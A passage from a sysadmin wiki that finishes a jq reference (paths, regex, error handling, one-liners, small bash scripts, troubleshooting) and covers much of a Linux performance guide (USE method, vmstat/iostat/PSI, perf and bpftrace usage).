the current item, and emits the final accumulator. `foreach` has the same shape but emits the accumulator after every step, and an optional third argument projects each emitted state. ```sh jq 'reduce .items[] as $i ({}; .[$i.zone] += $i.bytes)' # bytes per zone as an object, no sort jq 'reduce .items[] as $i ({}; .[$i.host] = $i)' # index an array by a field (last wins) jq '[foreach .items[] as $i (0; . + $i.bytes)]' # running total jq '[foreach .items[] as $i (0; . + 1; select(. % 100 == 0) | $i)]' # every 100th element jq -n 'reduce inputs as $l ({}; .[$l.level] += 1)' # count JSON-lines records by a field without slurping jq -n '[limit(3; inputs)]' # first three documents only jq -n 'first(inputs | select(.id == 42))' # stop reading at the first match jq 'until(. > 1000; . * 2)' # loop until a condition holds jq '[range(0; 10; 2)]' # 0 2 4 6 8 jq '[.[] | select(.ok)] | .[0] // error("no healthy backend")' # abort with a message (exit status 5) ``` `reduce` over `inputs` with `-n` is the memory-efficient alternative to `-s` for JSON lines: it holds only the accumulator. `limit` and `first` stop consuming their generator as soon as they have enough outputs, so `first(inputs | select(...))` on a large file finishes without reading the rest. `skip(n; f)` (1.8+) drops the first `n` outputs. ## Paths A path is an array of keys and indices, such as `["items", 0, "name"]`. Path functions let a program work on a document generically without knowing its shape in advance. ```sh jq -c 'paths' file.json # every path, containers included jq -c 'paths(scalars)' file.json # paths whose value is a scalar (skips null and false leaves) jq -c '[paths(type == "number")]' file.json # paths to numbers only jq 'getpath(["a", "b"])' # like .a.b, but the path is data jq 'setpath(["a", "b"]; 1)' # like .a.b = 1 jq 'delpaths([["a"], ["items", 0]])' # delete several paths at once jq '[paths(scalars) | select(.[-1] | tostring | test("password"; "i"))] as $ps | reduce $ps[] as $p (.; setpath($p; "REDACTED"))' # redact by key name at any depth jq 'path(.items[0].name)' # ["items",0,"name"]: the path an expression addresses jq '[paths] | map(join(".")) ' file.json # fails on numeric indices; use map(tostring) first jq -r '[paths | map(tostring) | join(".")] | .[]' file.json jq 'to_entries[] | select(.value | type == "object") | .key' # keys whose value is an object jq 'tostream' # the same [path, leaf] events that --stream produces ``` `leaf_paths` is the older name for `paths(scalars)` and behaves the same, including skipping `null` and `false` leaves. `del(f)`, `to_entries`, `pick` and `|=` are all defined on top of `path(f)`, so any expression that is valid inside `del(...)` is one jq can turn into paths; an expression that computes a new value (`del(.a + .b)`) is not and fails with `Invalid path expression`. ## Strings, regex and dates ```sh jq -r '.name | ascii_downcase' jq -r '.name | ltrimstr("prod-") | rtrimstr("-v2")' # strip a prefix or suffix if present jq -r '.line | trim' # whitespace both ends (1.7.1+); ltrim, rtrim jq -r '.tags | join(",")' # join converts numbers and booleans, errors on objects jq '.csv | split(",")' # plain-string split jq '.path | split("/"; null)' # regex split: second argument is regex flags jq '.msg | sub("^ERROR: "; "")' # first match; gsub replaces all jq '.msg | gsub("(?[0-9]+)"; "<\(.n)>")' # named captures usable in the replacement jq '.line | capture("(?[0-9.]+) - (?\\S+)")' # object of named groups, null if no match jq '[.text | scan("[a-z]+@[a-z.]+")]' # every match as a string jq '.text | test("error"; "i")' # flags: i ignore case, x extended, g global, n ignore empty jq '.v | tonumber' # "5" to 5; errors on non-numeric strings jq '.n | tostring' jq '.n | tojson', jq '.s | fromjson' # encode a value as a JSON string and back jq -r '.q | @uri' # percent-encode; @urid decodes (1.8+) jq -r '"\(.name | ascii_upcase): \(.count)"' jq '.ts | fromdate' # "2026-09-24T10:00:00Z" to epoch seconds jq '.epoch | todate' # epoch seconds to ISO 8601 jq '.when | strptime("%d/%b/%Y:%H:%M:%S %z") | mktime' # Apache log timestamp to epoch jq -r '.epoch | strftime("%Y-%m-%d")' jq 'now - .epoch | . / 86400 | floor' # age in whole days jq -r '.epoch | localtime | strftime("%H:%M %Z")' # local zone; gmtime for UTC ``` Regex functions use Oniguruma with Perl-style syntax. Backslashes must be doubled inside a jq string (`"\\d+"`), and the pattern is a string so it can come from `--arg`. `fromdate` accepts only the `%Y-%m-%dT%H:%M:%SZ` form; anything with fractional seconds or an offset needs `strptime` with an explicit format, and `%z` parsing depends on the platform's libc. ## Errors, try and defaults ```sh jq '.items[] | try .config.port catch "unset"' # replace a runtime error with a value jq '.items[] | (.n | tonumber)? // 0' # ? is try without catch; then default jq 'try error("boom") catch .' # the caught value is the error message jq 'try error({code: 3}) catch .code' # error() accepts any value jq -e '.ok' && echo yes # exit 1 when .ok is false or null, 4 when there is no output jq 'if .ok then . else halt_error(2) end' # print the input to stderr and exit 2 jq 'if type != "array" then error("expected array, got \(type)") else . end' jq '.items[] | debug | .name' # print each value to stderr as ["DEBUG:", value], pass it through jq '.items[] | debug("checking \(.name)") | .name' # message form (1.7+) jq 'input_filename, $__loc__' file.json # file being read; {file, line} of the expression itself ``` `//` and `try` are not the same thing. `//` reacts to `null`, `false` and empty output; `try` reacts to errors. `.a.b // 0` handles a missing key, but `(.a | tonumber) // 0` does not catch the error `tonumber` raises on `"abc"`; write `(.a | tonumber)? // 0` for both. Errors inside `try` also stop the generator, so `try (.items[] | f)` yields nothing after the first failing element; put the `try` around `f` instead. ## Arguments, the environment and modules `--arg` always binds a string, so `--arg n 5` gives `"5"` and `.count == $n` is false against a number. `--argjson` parses its value, which is how numbers, booleans, `null`, arrays and objects get in. Every named argument is also available as `$ARGS.named`, and `--args` or `--jsonargs` collect the remaining command-line words into `$ARGS.positional`. ```sh jq --arg env prod --argjson min 3 '.items[] | select(.env == $env and .replicas >= $min)' jq -n '$ARGS' --arg a 1 --argjson b 2 --args x y # {"positional":["x","y"],"named":{"a":"1","b":2}} jq -n --arg re "$PATTERN" 'inputs | select(.msg | test($re))' < events.jsonl # regex from the shell, safely jq -n 'env.HOME, $ENV.PATH' # environment: env is a function, $ENV a variable jq -n '$ENV | with_entries(select(.key | startswith("MYAPP_")))' # environment subset as an object MYAPP_PORT=8080 jq -n '{port: ($ENV.MYAPP_PORT | tonumber)}' jq --slurpfile defaults defaults.json '$defaults[0] * .' # deep-merge a file of defaults under the input jq --rawfile tmpl template.txt -n '$tmpl | gsub("\\{\\{name\\}\\}"; "my-app")' # text templating with a raw file jq -L ~/.jq/lib 'import "k8s" as k; k::pod_images' pods.json # module from a search path ``` Named functions and modules keep long programs readable. `def` works inline or in a `.jq` file; `~/.jq` (a file) is loaded automatically, and `-L dir` adds a directory that `import "name" as alias;` and `include "name";` resolve against. ```sh # ~/.jq: functions available in every interactive invocation def pod_images: .items[] | .spec.containers[].image; def bytes_h: if . > 1073741824 then "\(. / 1073741824 * 10 | round / 10)Gi" elif . > 1048576 then "\(. / 1048576 | round)Mi" else "\(.)B" end; def kv: to_entries[] | "\(.key)=\(.value)"; ``` ```sh kubectl get pods -A -o json | jq -r 'pod_images' | sort -u jq -r '.size | bytes_h' file.json jq 'def inc(f): f |= . + 1; inc(.a) | inc(.b)' # function with a filter argument; $x makes it a value argument ``` ## Oneliners ```sh # Kubernetes: pods with restarts kubectl get pods -A -o json | jq -r '.items[] | select(any(.status.containerStatuses[]?; .restartCount > 0)) | "\(.metadata.namespace)/\(.metadata.name) \([.status.containerStatuses[].restartCount] | add)"' # Terraform: IDs of one resource type from state terraform show -json | jq -r '.values.root_module.resources[] | select(.type == "aws_instance") | .values.id' # AWS: instance ID, state and Name tag aws ec2 describe-instances | jq -r '.Reservations[].Instances[] | [.InstanceId, .State.Name, (.Tags // [] | from_entries | .Name // "-")] | @tsv' # GitHub API: open PRs with author curl -fsS "https://api.github.com/repos/OWNER/REPO/pulls?state=open" | jq -r '.[] | [.number, .user.login, .title] | @tsv' # Docker: container to image mapping docker inspect $(docker ps -q) | jq -r '.[] | [.Name, .Config.Image] | @tsv' # Flatten to dotted paths with values jq -r 'paths(type | . != "object" and . != "array") as $p | "\($p | join(".")) = \(getpath($p))"' file.json # Compare the key structure of two documents diff <(jq -r 'paths | join(".")' a.json | sort) <(jq -r 'paths | join(".")' b.json | sort) # Compare two documents ignoring key order diff <(jq -S . a.json) <(jq -S . b.json) # Deep merge, right side wins jq -s '.[0] * .[1]' base.json override.json # JSON lines to an array jq -s '.' events.jsonl # Top 10 by a field jq -r 'sort_by(-.bytes) | .[:10][] | [.name, .bytes] | @tsv' file.json # Fail if any element lacks a field jq -e 'all(.items[]; has("id"))' file.json >/dev/null # Remove null values recursively jq 'walk(if type == "object" then with_entries(select(.value != null)) else . end)' file.json # KEY=value file to a JSON object (skips comments and blank lines, keeps "=" in values) jq -Rn '[inputs | select(test("^[A-Za-z_][A-Za-z0-9_]*=")) | capture("^(?[^=]+)=(?.*)$")] | from_entries' < .env # JSON object to KEY=value lines, shell-quoted, ready to source jq -r 'to_entries[] | "\(.key)=\(.value | tostring | @sh)"' config.json # Count log levels in a JSON-lines file without loading it all jq -n 'reduce inputs as $l ({}; .[$l.level // "none"] += 1)' app.jsonl # Records in the last hour from a JSON-lines log with ISO timestamps jq -c --arg since "$(date -u -d '1 hour ago' +%FT%TZ)" 'select(.ts >= $since)' app.jsonl # Histogram of HTTP status codes from structured access logs jq -r '.status' access.jsonl | sort | uniq -c | sort -rn # Pretty-print a JSON string embedded in a field jq '.payload | fromjson' event.json # Set a nested value only when the path is missing jq 'if .spec.replicas == null then .spec.replicas = 1 else . end' deploy.json # Rename a key everywhere in the document jq 'walk(if type == "object" and has("old") then .new = .old | del(.old) else . end)' file.json # Kubernetes: images and their pull policy per container kubectl get deploy -A -o json | jq -r '.items[] | .metadata.name as $d | .spec.template.spec.containers[] | [$d, .image, .imagePullPolicy] | @tsv' # Kubernetes: decode every key of a Secret kubectl get secret my-secret -o json | jq -r '.data | to_entries[] | "\(.key)=\(.value | @base64d)"' # Kubernetes: nodes with allocatable CPU and memory kubectl get nodes -o json | jq -r '.items[] | [.metadata.name, .status.allocatable.cpu, .status.allocatable.memory] | @tsv' # Helm: chart versions of every release across namespaces helm list -A -o json | jq -r '.[] | [.namespace, .name, .chart, .status] | @tsv' | column -t # Terraform: resources whose plan action is delete or replace terraform show -json plan.out | jq -r '.resource_changes[] | select(.change.actions | index("delete")) | [.address, (.change.actions | join(","))] | @tsv' # AWS: security group rules that allow 0.0.0.0/0 aws ec2 describe-security-groups | jq -r '.SecurityGroups[] | .GroupId as $g | .IpPermissions[] | select(any(.IpRanges[]?; .CidrIp == "0.0.0.0/0")) | [$g, (.FromPort // "all" | tostring), .IpProtocol] | @tsv' # Docker: published ports for every running container docker inspect $(docker ps -q) | jq -r '.[] | .Name as $n | .NetworkSettings.Ports // {} | to_entries[] | select(.value) | "\($n) \(.key) -> \(.value[0].HostPort)"' # Turn a CSV with a header row into an array of objects jq -Rn '(input | split(",")) as $h | [inputs | split(",") | [$h, .] | transpose | map({(.[0]): .[1]}) | add]' data.csv # Build a JSON payload from shell variables without quoting problems jq -n --arg name "$NAME" --argjson replicas "$REPLICAS" '{name: $name, spec: {replicas: $replicas}}' # Validate that a file is JSON, silently jq -e . file.json >/dev/null 2>&1 && echo valid # Emit the same value as one compact line per input file, prefixed with the file name jq -c '{file: input_filename, keys: keys}' *.json # Sum a field across many files jq -s 'map(.total) | add' reports/*.json # Diff two arrays of objects by an identity field: entries only in the second file jq -n --slurpfile a a.json --slurpfile b b.json '($a[0] | map(.id)) as $ids | $b[0] | map(select(.id | IN($ids[]) | not))' # Percent-encode a query string value jq -rn --arg q "$QUERY" '$q | @uri' ``` ## Scripts Watch a JSON health endpoint and exit non-zero when any component is unhealthy, printing the failures as tab-separated rows. Suits a systemd timer or a CI smoke test. ```sh #!/usr/bin/env bash # usage: health-json.sh https://api.example.com/health set -euo pipefail url=${1:?health URL required} body=$(curl -fsS --max-time 10 "$url") || { echo "fetch failed: $url" >&2; exit 2; } # Expected shape: {"status":"ok","components":{"db":{"status":"ok"},"cache":{"status":"degraded","error":"..."}}} if ! jq -e '.components | type == "object"' <<< "$body" >/dev/null; then echo 'unexpected response shape' >&2 jq -c 'paths(scalars) | join(".")' <<< "$body" | head -20 >&2 || true exit 2 fi failing=$(jq -r '.components | to_entries[] | select(.value.status != "ok") | [.key, .value.status, (.value.error // "-")] | @tsv' <<< "$body") if [[ -n $failing ]]; then printf 'component\tstatus\terror\n%s\n' "$failing" exit 1 fi printf 'all %d components ok\n' "$(jq '.components | length' <<< "$body")" ``` Edit a JSON configuration file in place by path and value, keeping a backup and refusing to write if the result is not valid JSON. Values are parsed as JSON when they look like JSON and treated as strings otherwise. ```sh #!/usr/bin/env bash # usage: json-set.sh FILE PATH VALUE e.g. json-set.sh app.json .server.port 8080 set -euo pipefail file=${1:?file} path=${2:?path} value=${3:?value} [[ -f $file ]] || { echo "no such file: $file" >&2; exit 2; } [[ $path == .* ]] || { echo "path must start with . (got $path)" >&2; exit 2; } # Try the value as JSON first (numbers, true/false/null, arrays, objects); fall back to a string. if json=$(jq -cn --argjson v "$value" '$v' 2>/dev/null); then :; else json=$(jq -n --arg v "$value" '$v'); fi tmp=$(mktemp "${file}.XXXXXX") trap 'rm -f -- "$tmp"' EXIT # The path comes from the caller, so it is the one thing spliced into the program; the value goes in via --argjson. jq --argjson v "$json" "${path} = \$v" "$file" > "$tmp" jq -e . "$tmp" >/dev/null # belt and braces: refuse to replace the file with garbage cp -p -- "$file" "${file}.bak" mv -f -- "$tmp" "$file" trap - EXIT printf '%s: set %s = %s\n' "$file" "$path" "$json" ``` Summarise a JSON-lines log: total records, count per level, top error messages and the time span, in a single pass with `reduce` so multi-gigabyte files fit in memory. ```sh #!/usr/bin/env bash # usage: jsonl-summary.sh app.jsonl [level-field] [message-field] [timestamp-field] set -euo pipefail f=${1:?log file} lvl=${2:-level} msg=${3:-msg} ts=${4:-ts} [[ -r $f ]] || { echo "cannot read $f" >&2; exit 2; } jq -n --arg lvl "$lvl" --arg msg "$msg" --arg ts "$ts" ' reduce inputs as $r ( {n: 0, levels: {}, errors: {}, first: null, last: null}; .n += 1 | .levels[$r[$lvl] // "none"] += 1 | if ($r[$lvl] // "") | ascii_downcase | IN("error", "fatal") then .errors[$r[$msg] // "?"] += 1 else . end | .first = ([.first, $r[$ts]] | map(select(. != null)) | min) | .last = ([.last, $r[$ts]] | map(select(. != null)) | max) ) | "records: \(.n)", "span: \(.first) .. \(.last)", "levels: \(.levels | to_entries | sort_by(-.value) | map("\(.key)=\(.value)") | join(" "))", "top errors:", (.errors | to_entries | sort_by(-.value) | .[:10][] | " \(.value)\t\(.key)") ' -r "$f" ``` ## Troubleshooting | Symptom | Cause | Fix | | --- | --- | --- | | `Cannot index array with string "name"` | Input is an array; the filter expects an object | `.[].name` or `map(.name)` | | `Cannot iterate over null` | Path is missing on some elements | `.items[]?` or `(.items // [])[]` | | `Cannot index string with string "x"` | Value is JSON encoded as a string | `.field \| fromjson \| .x` | | Output has quotes in a shell variable | Missing `-r` | `jq -r` | | `parse error: Invalid numeric literal` | Input is not JSON (HTML error page, YAML, log prefix) | Inspect with `head -c 200`; `curl -f` to fail on HTTP errors | | `jq: error: x/0 is not defined` or `syntax error` | Shell expanded `$x` or quotes inside the filter | Single-quote the program; pass values with `--arg` | | Numbers compare as unequal | `--arg` gave a string | `--argjson`, or `tonumber` | | Each result printed separately, not as one array | Filter is a stream | Wrap in `[...]` or use `map` | | Large integer IDs change | Pre-1.7 jq converts all numbers to IEEE 754 doubles | jq 1.7+ keeps the literal when a number passes through unchanged; arithmetic still converts | | Empty file after `jq ... f > f` | Shell truncated `f` before jq read it | Write to a temporary file, then `mv` | | Out of memory on a large file | Whole document parsed into memory | `--stream` (see [large inputs](#large-inputs)) | | `Invalid path expression with result ...` | Left side of `\|=`, `del` or `path()` computes a value instead of addressing one | Rewrite so the left side is a pure path: `del(.a[] \| select(.x))` not `del(.a \| map(select(.x)))` | | `--arg` regex never matches | Backslashes were consumed by the shell, or the pattern needs flags | Single-quote the shell argument; pass flags as `test($re; "i")` | | `Cannot use null (null) as object key` | Grouping or indexing on a field some records lack | `.[$r.level // "none"]`, or `select(.level != null)` first | | `Date "..." does not match format "%Y-%m-%dT%H:%M:%SZ"` | `fromdate` accepts only that exact form | Use `strptime` with the real format, or `sub("\\.[0-9]+"; "")` to drop fractional seconds | | Program reads stdin and hangs | No `-n` and no file given, so jq waits for input | Add `-n` when the program does not use `.` | | `jq: error: Could not open file` for a module | `-L` not set or module not on the search path | `jq -L dir 'import "name" as n; ...'`; the file is `dir/name.jq` | | `try` swallowed every element after the first error | The error stopped the whole generator inside `try` | Move `try` inside: `.items[] \| try f` | | `@tsv` output shows `\t` or `\n` literally in a value | `@tsv` escapes control characters by design | Expected; use `@text` if the consumer handles raw values | | Interactive `jq` shows colours but a script gets escape codes | `-C` was forced, or `JQ_COLORS` set in a wrapper | Use `-M` in scripts; colour is off by default when stdout is not a terminal | `gojq` is a Go implementation with the same language and clearer error messages. For YAML, the Go `yq` (mikefarah) uses a jq-like but not identical syntax; the Python `yq` converts YAML to JSON and runs real jq. ## Further reading - [jq manual](https://jqlang.org/manual/): every builtin, operator and command-line flag, with the version selector for 1.6 and 1.7 differences. - [jq wiki: jq language description](https://github.com/jqlang/jq/wiki/jq-Language-Description): the evaluation model behind generators, paths and `reduce`. - [jq wiki: FAQ](https://github.com/jqlang/jq/wiki/FAQ): number handling, streaming and portability answers. - [RFC 7464: JSON Text Sequences](https://www.rfc-editor.org/rfc/rfc7464): the format behind `--seq`. - [Oniguruma regular expression syntax](https://github.com/kkos/oniguruma/blob/master/doc/RE): what `test`, `match`, `capture` and `sub` accept. --- # Linux performance > Find whether CPU, memory, disk or network is the bottleneck on a Linux host with a first-minute checklist, the USE method and per-resource tools. Canonical: https://www.wiki.jodisand.me/linux-performance/ Reviewed: 2026-09-24 Related: [systemd](https://www.wiki.jodisand.me/systemd/index.md), [iproute2](https://www.wiki.jodisand.me/iproute2/index.md), [Kubernetes](https://www.wiki.jodisand.me/kubernetes/index.md), [Prometheus](https://www.wiki.jodisand.me/prometheus/index.md) ## Cheatsheet | Question | Command | | --- | --- | | Is any resource stalling tasks | `cat /proc/pressure/{cpu,io,memory}` | | Load and run queue | `uptime`, `vmstat 1 5` | | Per-CPU utilisation | `mpstat -P ALL 1` | | Top processes | `top -o %CPU`, `top -o %MEM` | | Memory that is really available | `free -h` (the `available` column) | | Disk latency and queue | `iostat -xz 1` | | Per-process I/O | `pidstat -d 1`, `iotop -o` | | Network throughput | `sar -n DEV 1` | | Retransmits and drops | `nstat -az \| grep -iE 'retrans\|drop'`, `ss -ti` | | Who owns a port | `ss -ltnp` | | Syscalls a process makes | `strace -c -f -p PID` | | Where a process is blocked | `cat /proc/PID/wchan`, `sudo cat /proc/PID/stack` | | CPU profile | `perf top`, `perf record -F 99 -a -g -- sleep 30` | | Usage per systemd unit | `systemd-cgtop` | `mpstat`, `pidstat`, `iostat` and `sar` come from the `sysstat` package, which is often not installed by default. The bcc tools are named `biolatency-bpfcc` and so on on Debian and Ubuntu, and installed under `/usr/share/bcc/tools/` on Fedora and RHEL. ## The first minute Brendan Gregg's 60-second checklist, run in order on a host you know nothing about. Each line either rules a resource out or points at the next section. ```sh uptime # 1, 5, 15 minute load averages: rising or falling dmesg -T | tail -20 # OOM kills, disk errors, link flaps, hung tasks (may need root) vmstat 1 5 # r (runnable), b (blocked), si/so (swapping), us/sy/id/wa/st mpstat -P ALL 1 3 # one hot CPU hides in the average pidstat 1 3 # per-process CPU over time, unlike top's snapshot iostat -xz 1 3 # per device: r/s, w/s, await, aqu-sz, %util free -h # read "available", not "free" sar -n DEV 1 3 # per-interface rxkB/s and txkB/s against link speed sar -n TCP,ETCP 1 3 # new connections per second, retransmits per second top # cross-check the picture ``` Ignore the first line of `vmstat` and `iostat` output: it is the average since boot, not the current interval. Linux load average counts tasks that are runnable plus tasks in uninterruptible sleep (state `D`, usually waiting on disk or NFS). A load of 30 on a host with idle CPUs therefore means blocked I/O, not CPU demand. Compare load against the CPU count (`nproc`) and look at `b` in `vmstat`. ```sh cat /proc/pressure/cpu /proc/pressure/io /proc/pressure/memory ``` ```text some avg10=12.40 avg60=8.10 avg300=3.02 total=160383532 full avg10=0.00 avg60=0.00 avg300=0.00 total=0 ``` Pressure stall information (PSI, kernel 4.20+) measures lost time directly. `some` is the share of time at least one task was stalled on the resource; `full` is the share when all non-idle tasks were stalled at once, meaning no work progressed. `avg10`, `avg60` and `avg300` are percentages over 10, 60 and 300 seconds. System-wide `cpu full` is always zero. Non-zero `memory full` or `io full` is a strong sign of a bottleneck. Every cgroup v2 directory has the same `cpu.pressure`, `memory.pressure` and `io.pressure` files for per-service or per-container views. See the [kernel PSI documentation](https://docs.kernel.org/accounting/psi.html). If `/proc/pressure` does not exist, the kernel was built without `CONFIG_PSI` or with PSI disabled by default; the `psi=1` kernel parameter enables it in the latter case. ## USE, per resource The USE method checks every resource for **U**tilisation (how busy), **S**aturation (work queued because it is busy) and **E**rrors. Check saturation even when utilisation looks acceptable: a resource averaging 60% busy can still be saturated in bursts shorter than the sampling interval. Source: Gregg's [USE Linux checklist](https://www.brendangregg.com/USEmethod/use-linux.html). | Resource | Utilisation | Saturation | Errors | | --- | --- | --- | --- | | CPU | `mpstat -P ALL 1`; `vmstat` `us`+`sy`+`st` | `vmstat` `r` above CPU count; PSI cpu; cgroup `nr_throttled` | Machine-check events in `dmesg`, `ras-mc-ctl --errors` | | Memory | `free -h`, `vmstat` `free` | `vmstat` `si`/`so`; `sar -B` `pgscank`/`pgscand`; PSI memory; OOM kills in `dmesg` | Hardware errors (ECC/EDAC) in `dmesg` | | Disk | `iostat -xz 1` `%util` | `aqu-sz`, rising `r_await`/`w_await`; PSI io | `dmesg` I/O errors, `smartctl -a /dev/sda` | | Network | `sar -n DEV 1` against link speed; `ip -s link` | Drops and overruns in `ip -s link`; retransmits in `nstat` | `ip -s link` errors; `ethtool -S eth0` | ## CPU ```sh mpstat -P ALL 1 # %usr, %sys, %iowait, %steal, %irq, %soft per CPU pidstat -u 1 # per-process %usr and %system pidstat -w 1 # voluntary (cswch/s) and involuntary (nvcswch/s) context switches perf top -F 99 # live profile by function perf record -F 99 -a -g -- sleep 30 && perf report --stdio | head -40 # 30 s system-wide with stacks taskset -cp PID # CPU affinity of a process ``` `perf` needs root, or `kernel.perf_event_paranoid` lowered, to profile other users' processes and the kernel. Stacks need frame pointers or debug info; without them `perf report` shows `[unknown]` frames. | Symptom | Meaning | | --- | --- | | High `%usr` | Application work; profile it with `perf` | | High `%sys` | Kernel work: syscall-heavy code, context switching, network stack, page faults | | High `%iowait` | CPU idle while I/O is outstanding. A disk symptom, not CPU load, and it falls when other work keeps the CPU busy | | High `%steal` | The hypervisor ran another guest on this vCPU | | High `%soft` on one CPU | Network receive processing pinned to one queue; check RSS and IRQ affinity | | High involuntary context switches | More runnable threads than CPUs, or CPU throttling | | One CPU at 100%, rest idle | Single-threaded bottleneck, or interrupts on one CPU | A container or systemd CPU limit (`cpu.max`, `CPUQuota=`) throttles the cgroup for the rest of each period once it uses its quota. Throttling shows as latency while the host looks idle. ```sh cat /sys/fs/cgroup/system.slice/my-app.service/cpu.stat # nr_periods, nr_throttled, throttled_usec kubectl exec my-pod -- cat /sys/fs/cgroup/cpu.max /sys/fs/cgroup/cpu.stat # inside a pod ``` `nr_throttled` rising between two reads means the limit is too low for the burst pattern, even if average usage is under the limit. ## Memory ```sh free -h grep -E 'MemAvailable|Dirty|Writeback|Slab|SUnreclaim|Committed_AS' /proc/meminfo ps -eo pid,comm,rss,vsz --sort=-rss | head # resident set size in KiB smem -rs uss | head # unique set size: memory freed if the process exits slabtop -o | head # kernel object caches (root) vmstat 1 5 # si/so: pages swapped in/out per second dmesg -T | grep -iE 'out of memory|killed process' ``` `free` counts page cache in `buff/cache`. `available` (`MemAvailable`) estimates how much can be allocated without swapping, including reclaimable cache; that is the number to watch. A full page cache is normal and makes repeat reads fast. Swap in use is not a problem by itself. Ongoing swap activity (`si`/`so` non-zero every second) is. ```sh cat /sys/fs/cgroup/system.slice/my-app.service/memory.current cat /sys/fs/cgroup/system.slice/my-app.service/memory.max cat /sys/fs/cgroup/system.slice/my-app.service/memory.events # high, max, oom, oom_kill counters ``` An OOM kill inside a cgroup sends `SIGKILL`, so the process gets no chance to log. Orchestrators report exit code 137 (128 + 9). The `oom_kill` counter in `memory.events` and the `dmesg` line are the evidence. `memory.events` `high` rising means the cgroup is being throttled at `memory.high` / `MemoryHigh=`. ## Disk ```sh iostat -xz 1 # r_await/w_await: ms per I/O including queueing; aqu-sz: average queue length pidstat -d 1 # kB_rd/s, kB_wr/s, iodelay per process iotop -oPa # accumulated I/O by process (root) biolatency 10 1 # block I/O latency histogram (bcc, root) df -h; df -i # space and inodes lsof +L1 # deleted files still held open ``` `%util` is the share of time the device had at least one request in flight. For SSDs, NVMe and RAID, which serve many requests in parallel, 100% does not mean saturated; the `iostat` man page says so. Use `await` and `aqu-sz` instead. Older sysstat releases print `avgqu-sz` for `aqu-sz`, and a `svctm` column that should be ignored. A filesystem that reports full while `df -h` shows free space has run out of inodes (`df -i`) or is `df` on a different mount. Space that `du` cannot account for is usually a deleted file still held open by a process; it is freed only when the process closes it or restarts. ## Network ```sh sar -n DEV 1 # rxkB/s, txkB/s, %ifutil per interface sar -n TCP,ETCP 1 # active/s (outbound), passive/s (inbound), retrans/s nstat -az | grep -E 'TcpRetransSegs|TcpExtListenDrops|TcpExtListenOverflows|TcpExtTCPSynRetrans' ss -ti # per-socket rtt, cwnd, retrans, delivery rate ss -ltn 'sport = :8080' # Recv-Q on a listener = connections waiting for accept() ip -s link show eth0 # RX/TX errors, dropped, overruns ethtool -S eth0 | grep -iE 'drop|err|miss|fifo' # driver-level counters mtr -rwzbc 100 host.example.com # per-hop loss and latency ``` `nstat` prints counter deltas since its last run (it keeps history per user); `-a` shows absolute values and `-z` includes zero counters. | Signal | Meaning | | --- | --- | | Retransmits rising | Loss in the path or a congested link; `ss -ti` shows which peers | | `ListenOverflows` / `ListenDrops` rising | Accept queue full: the application is not calling `accept()` fast enough, or the backlog is small | | Large `TIME_WAIT` count | Normal for a busy client; a problem only if ephemeral ports run out | | RX `dropped` on the interface | Host not draining ring buffers fast enough; check `ethtool -g` and softirq CPU | | RX `errors` | Physical layer: cable, optic, switch port, duplex | | High or variable `rtt` in `ss -ti` | Queueing in the path, or a distant peer | ```sh ethtool -g eth0 # ring buffer sizes, current and maximum sysctl net.core.somaxconn net.ipv4.tcp_max_syn_backlog ``` For links, routes and sockets see [iproute2](https://www.wiki.jodisand.me/iproute2/#a-connectivity-problem). ## Tracing ```sh strace -c -f -p PID # syscall counts and time; Ctrl-C to print the summary strace -f -tt -e trace=openat,connect -p PID # specific syscalls with timestamps execsnoop # every exec on the host, with arguments (bcc) opensnoop -p PID # files a process opens (bcc) tcpconnect # outbound TCP connections as they happen (bcc) biosnoop # every block I/O with process and latency (bcc) funclatency vfs_read # latency histogram for a kernel function (bcc) profile -F 99 30 # sampled stacks for 30 s (bcc) ``` `strace` uses ptrace, stopping the target on every syscall; syscall-heavy processes can slow by an order of magnitude or more. Use it on a replica or for a few seconds. The bcc and `bpftrace` tools run in the kernel via eBPF and summarise there, so overhead is usually low, although tracing very frequent events still costs CPU. All need root. ## perf `perf` samples or counts hardware and software events. `perf stat` answers "how much" (cycles, instructions, faults, context switches) with almost no overhead; `perf record` answers "where" by sampling stacks at a fixed rate; `perf trace` is an strace replacement that does not stop the target. ```sh perf list | head -40 # events this kernel and CPU expose perf stat -- ./my-app --once # task-clock, context switches, migrations, page faults, cycles, IPC perf stat -e task-clock,page-faults,context-switches -p "$PID" -- sleep 10 # counters for a running process perf stat -a -e cycles,instructions,cache-misses -- sleep 5 # whole machine; IPC well under 1 means memory-bound perf record -F 99 -g -p "$PID" -- sleep 30 # 99 Hz with stacks for one process perf record -F 99 -a -g --call-graph dwarf -- sleep 10 # unwind without frame pointers; larger perf.data perf report --stdio --no-children --percent-limit 1 # self time per symbol, top-down perf report --sort comm,dso # which processes and libraries own the samples perf annotate --stdio -s my_hot_function # instruction-level breakdown of one function perf script | stackcollapse-perf.pl | flamegraph.pl > flame.svg # FlameGraph scripts, github.com/brendangregg/FlameGraph perf trace -p "$PID" -- sleep 5 # syscalls with durations, via tracepoints rather than ptrace perf trace -s -p "$PID" -- sleep 5 # per-syscall summary: count, total, min, avg, max perf record -e sched:sched_switch -a -- sleep 5 && perf sched latency --sort max # scheduler run-queue delay per task perf top -e cache-misses # live view for one event ``` Sampling at 99 Hz rather than 100 avoids lockstep with timers. `-g` records the kernel stack and, if the binary has frame pointers, the user stack; Go, Rust and most distribution C libraries keep frame pointers, JIT runtimes and `-fomit-frame-pointer` builds do not, hence `--call-graph dwarf`. `perf.data` is written to the current directory and can be hundreds of megabytes; `perf record -o` puts it elsewhere. `perf sched` needs `CONFIG_SCHEDSTATS` and records every context switch, so keep the window short on busy hosts. ## bpftrace `bpftrace` attaches short programs to kernel tracepoints, kprobes, user-space probes and timers, aggregates in the kernel and prints maps on exit. It replaces one-off C for the questions that `perf` and the bcc tools do not already answer. ```sh bpftrace -l 'tracepoint:syscalls:sys_enter_*' | wc -l # list probes; -lv shows a probe's arguments bpftrace -lv tracepoint:block:block_rq_issue bpftrace -e 'tracepoint:syscalls:sys_enter_openat { printf("%-16s %s\n", comm, str(args.filename)); }' bpftrace -e 'tracepoint:syscalls:sys_enter_* { @[probe] = count(); } interval:s:5 { print(@); clear(@); }' # syscall rate table every 5 s bpftrace -e 'kprobe:vfs_read { @bytes[comm] = hist(arg2); }' # requested read sizes per command bpftrace -e 'kretprobe:vfs_read /retval > 0/ { @returned = hist(retval); }' # actual bytes returned bpftrace -e 'tracepoint:syscalls:sys_enter_read { @s[tid] = nsecs; } tracepoint:syscalls:sys_exit_read /@s[tid]/ { @us[comm] = hist((nsecs - @s[tid]) / 1000); delete(@s[tid]); }' # read() latency per command bpftrace -e 'profile:hz:99 /pid == $1/ { @[ustack] = count(); }' 